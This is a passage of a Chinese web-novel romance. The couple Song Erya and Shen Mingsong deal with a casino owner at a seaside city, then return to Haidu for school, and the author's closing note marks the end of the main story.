宋尔雅从未需要给过谁面子,不懂什么谄媚假笑,自然给不了他什么好脸色。 赌场老板脸色变了变,又笑着和沈明松聊了几句客套话,端着酒杯走了。 沈明松碰碰她:“在想什么?” “哥哥,我这样对他,不会被他的人抓起来吊水泥上一顿抽吧?”宋尔雅警匪电影看多了。 “乱想什么?”他搂过她肩,“不用怕,他蹦不了多久。” 他指的是赌场老板。 宋尔雅眼睛顿时亮亮地:“你要收拾他吗,天凉王破?” 沈明松:“……过段时间他老巢就被公安端了。” 他有未来视角,宋尔雅不清楚这些,但也知道过不了几年社会会安定很多,她又想起什么:“你没有做过什么违法的事吧?” 沈明松的百科资料里并未有过什么污点,还因为捐赠过很多学校孤儿院,得过十大慈善家奖。 真不敢相信他是跟着林海混的。 不过林海能安稳到老年,还抱上孙子,他这个地头蛇也是会审时度势的,知道什么该干什么不该干,带着小弟们混得风生水起。 宋尔雅美滋滋:“我现在有种在当大哥女人的感觉,我是大嫂。” 沈明松看一眼林海身侧的性感女人,那是他哥老婆,性子很泼辣。 而眼前这个,一个长不大的小姑娘,就会跟他嘻嘻哈哈,晚上回去的时候,她还要去买串棉花糖撕着吃。 宋尔雅喝了些酒,早早就睡着了,沈明松拿毛巾帮她擦脸。 看她细腻光滑的皮肤,有一个晃神,令他产生出几秒错觉。 他走到镜子前,他眉目间还带着少年独有的张扬,已经不是那副失去大把年岁的容颜。 ~ 宋尔雅也没在椰城多玩几天,段子阳那个天杀的就追过来了,求着沈明松赶紧回去处理公司的大事,没他真顶不住了。 就连她,也被章雪痛斥一顿,她就一个做兼职的,为什么也有那么多事等着她干? 不过他们也该继续海都上学了,不然休学太久,还得多读一年才能毕业。 宋尔雅收拾收拾行李,登机回海都,旧的人生翻个面,开始她新的生命。 宋尔雅:“耶!” 启程!—— 作者有话说:正文到这里就写完了,还剩些番外和糖,等我写完再更,谢谢大家能看到最后[垂耳兔头][垂耳兔头][垂耳兔头]《 》